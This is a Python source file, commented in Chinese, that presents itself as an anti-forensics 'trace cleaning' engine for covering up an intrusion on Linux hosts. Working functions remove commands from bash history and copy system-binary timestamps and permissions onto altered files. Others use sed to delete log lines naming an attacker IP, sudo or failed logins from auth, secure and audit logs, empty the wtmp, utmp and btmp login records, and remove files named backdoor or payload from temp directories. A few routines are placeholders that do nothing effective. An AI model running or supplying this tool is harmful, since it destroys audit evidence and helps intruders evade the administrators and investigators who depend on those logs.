#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
高级痕迹清理与反取证引擎
实现实时痕迹擦除、日志定向清理等企业级对抗功能
"""
from __future__ import print_function

import os
import re
import time
import random
import subprocess
import shutil
from datetime import datetime
import logging

class AdvancedTraceCleaner:
    """高级痕迹清理引擎"""
    
    def __init__(self):
        self.logger = self._setup_logger()
        self.sensitive_commands = []
        self.log_paths = {
            'ubuntu': ['/var/log/auth.log', '/var/log/syslog', '/var/log/kern.log'],
            'centos': ['/var/log/secure', '/var/log/messages', '/var/log/audit/audit.log'],
            'general': ['/var/log/wtmp', '/var/log/btmp', '/var/run/utmp']
        }
        
    def _setup_logger(self):
        """设置日志记录器"""
        logger = logging.getLogger('AdvancedTraceCleaner')
        logger.setLevel(logging.INFO)
        return logger
        
    def real_time_trace_erase(self, command, target_file=None):
        """
        实时痕迹擦除
        执行敏感命令后立即清理相关痕迹
        """
        try:
            # 记录敏感命令用于后续清理
            self.sensitive_commands.append(command)
            
            # 执行命令
            result = subprocess.run(command, shell=True, capture_output=True, text=True)
            
            # 立即清理bash历史记录
            self._clean_bash_history(command)
            
            # 如果涉及文件修改，同步时间戳和权限
            if target_file and os.path.exists(target_file):
                self._sync_file_attributes(target_file)
                
            return result
            
        except Exception as e:
            self.logger.error("实时痕迹擦除失败: {}".format(e))
            return None
            
    def _clean_bash_history(self, command):
        """清理bash历史记录中的敏感命令"""
        try:
            # 获取当前用户的历史文件
            history_file = os.path.expanduser("~/.bash_history")
            
            if os.path.exists(history_file):
                # 使用history命令删除特定记录
                clean_cmd = f'history -d $(history | grep "{command}" | tail -1 | awk \'{{print $1}}\')'
                subprocess.run(clean_cmd, shell=True, stderr=subprocess.DEVNULL)
                
                # 清理历史文件中的记录
                with open(history_file, 'r') as f:
                    lines = f.readlines()
                
                # 过滤掉包含敏感命令的行
                filtered_lines = [line for line in lines if command not in line]
                
                with open(history_file, 'w') as f:
                    f.writelines(filtered_lines)
                    
                self.logger.info("已清理bash历史记录: {}".format(command))
                
        except Exception as e:
            self.logger.error("清理bash历史失败: {}".format(e))
            
    def _sync_file_attributes(self, target_file):
        """同步文件时间戳和权限到系统文件"""
        try:
            # 选择参考文件（系统常见文件）
            reference_files = ['/usr/bin/ls', '/bin/bash', '/usr/bin/cat']
            reference_file = None
            
            for ref in reference_files:
                if os.path.exists(ref):
                    reference_file = ref
                    break
                    
            if reference_file:
                # 同步时间戳
                ref_stat = os.stat(reference_file)
                os.utime(target_file, (ref_stat.st_atime, ref_stat.st_mtime))
                
                # 同步权限
                os.chmod(target_file, ref_stat.st_mode)
                
                self.logger.info("已同步文件属性: {}".format(target_file))
                
        except Exception as e:
            self.logger.error("同步文件属性失败: {}".format(e))
            
    def targeted_log_cleaning(self, attacker_ip=None, sensitive_operations=None):
        """
        日志定向清理
        精准删除特定IP和操作的日志记录
        """
        try:
            # 检测系统类型
            distro = self._detect_distro()
            log_files = self.log_paths.get(distro, self.log_paths['general'])
            
            for log_file in log_files:
                if os.path.exists(log_file) and os.access(log_file, os.W_OK):
                    self._clean_log_file(log_file, attacker_ip, sensitive_operations)
                    
            # 清理特殊日志文件
            self._clean_special_logs()
            
        except Exception as e:
            self.logger.error("日志定向清理失败: {}".format(e))
            
    def _detect_distro(self):
        """检测Linux发行版"""
        try:
            if os.path.exists('/etc/ubuntu-release') or 'ubuntu' in open('/etc/os-release').read().lower():
                return 'ubuntu'
            elif os.path.exists('/etc/centos-release') or 'centos' in open('/etc/os-release').read().lower():
                return 'centos'
            else:
                return 'general'
        except:
            return 'general'
            
    def _clean_log_file(self, log_file, attacker_ip, sensitive_operations):
        """清理单个日志文件"""
        try:
            # 构建sed删除模式
            patterns = []
            
            if attacker_ip:
                patterns.append(attacker_ip)
                
            if sensitive_operations:
                if isinstance(sensitive_operations, list):
                    patterns.extend(sensitive_operations)
                else:
                    patterns.append(sensitive_operations)
                    
            # 添加常见敏感操作模式
            patterns.extend([
                'ssh.*password',
                'sudo.*COMMAND',
                'unauthorized',
                'failed.*login'
            ])
            
            if patterns:
                # 使用sed精准删除匹配行
                pattern_str = '\\|'.join(patterns)
                sed_cmd = f"sed -i '/{pattern_str}/d' {log_file}"
                subprocess.run(sed_cmd, shell=True, stderr=subprocess.DEVNULL)
                
                self.logger.info("已清理日志文件: {}".format(log_file))
                
        except Exception as e:
            self.logger.error("清理日志文件失败 {}: {}".format(log_file, e))
            
    def _clean_special_logs(self):
        """清理特殊日志记录"""
        try:
            # 清理wtmp/utmp登录记录
            utmp_files = ['/var/run/utmp', '/var/log/wtmp', '/var/log/btmp']
            
            for utmp_file in utmp_files:
                if os.path.exists(utmp_file):
                    # 备份原文件
                    backup_file = "{}.bak".format(utmp_file)
                    shutil.copy2(utmp_file, backup_file)
                    
                    # 清空文件（保持文件存在但内容为空）
                    open(utmp_file, 'w').close()
                    
            # 清理进程命令行记录
            self._clean_proc_cmdline()
            
        except Exception as e:
            self.logger.error("清理特殊日志失败: {}".format(e))
            
    def _clean_proc_cmdline(self):
        """清理/proc/[pid]/cmdline中的敏感信息"""
        try:
            # 获取当前进程的PID
            current_pid = os.getpid()
            cmdline_file = "/proc/{}/cmdline".format(current_pid)
            
            if os.path.exists(cmdline_file):
                # 注意：/proc/[pid]/cmdline是只读的，这里主要是演示概念
                # 实际环境中需要使用更高级的技术如gdb动态修改
                self.logger.info("进程命令行清理需要高级权限")
                
        except Exception as e:
            self.logger.error("清理进程命令行失败: {}".format(e))
            
    def comprehensive_cleanup(self, attacker_ip=None, cleanup_level='standard'):
        """
        综合清理
        根据清理级别执行不同程度的痕迹清理
        """
        try:
            self.logger.info("开始综合清理，级别: {}".format(cleanup_level))
            
            # 标准清理
            if cleanup_level in ['standard', 'aggressive']:
                # 清理所有记录的敏感命令
                for cmd in self.sensitive_commands:
                    self._clean_bash_history(cmd)
                    
                # 定向日志清理
                self.targeted_log_cleaning(attacker_ip, self.sensitive_commands)
                
            # 激进清理
            if cleanup_level == 'aggressive':
                # 清理更多系统痕迹
                self._aggressive_cleanup()
                
            self.logger.info("综合清理完成")
            
        except Exception as e:
            self.logger.error("综合清理失败: {}".format(e))
            
    def _aggressive_cleanup(self):
        """激进清理模式"""
        try:
            # 清理临时文件
            temp_dirs = ['/tmp', '/var/tmp', '/dev/shm']
            for temp_dir in temp_dirs:
                if os.path.exists(temp_dir):
                    # 清理可疑的临时文件
                    for root, dirs, files in os.walk(temp_dir):
                        for file in files:
                            if any(pattern in file for pattern in ['backdoor', 'payload', 'exploit']):
                                try:
                                    os.remove(os.path.join(root, file))
                                except:
                                    pass
                                    
            # 清理网络连接记录
            subprocess.run("ss -tuln > /dev/null 2>&1", shell=True)
            
            # 清理DNS缓存
            subprocess.run("systemctl flush-dns 2>/dev/null || service nscd restart 2>/dev/null", shell=True)
            
        except Exception as e:
            self.logger.error("激进清理失败: {}".format(e))
            
    def stealth_file_operation(self, operation, target_file, content=None):
        """
        隐蔽文件操作
        执行文件操作并立即清理痕迹
        """
        try:
            if operation == 'write':
                with open(target_file, 'w') as f:
                    f.write(content or '')
            elif operation == 'append':
                with open(target_file, 'a') as f:
                    f.write(content or '')
            elif operation == 'delete':
                if os.path.exists(target_file):
                    os.remove(target_file)
                    
            # 立即清理相关痕迹
            self._sync_file_attributes(target_file)
            
            # 清理命令历史
            cmd = "{} {}".format(operation, target_file)
            self._clean_bash_history(cmd)
            
            return True
            
        except Exception as e:
            self.logger.error("隐蔽文件操作失败: {}".format(e))
            return False

# 使用示例
if __name__ == "__main__":
    cleaner = AdvancedTraceCleaner()
    
    # 实时痕迹擦除示例
    result = cleaner.real_time_trace_erase("echo 'test' >> /tmp/test.txt", "/tmp/test.txt")
    
    # 日志定向清理示例
    cleaner.targeted_log_cleaning("192.168.1.100", ["ssh", "sudo"])
    
    # 综合清理示例
    cleaner.comprehensive_cleanup("192.168.1.100", "standard")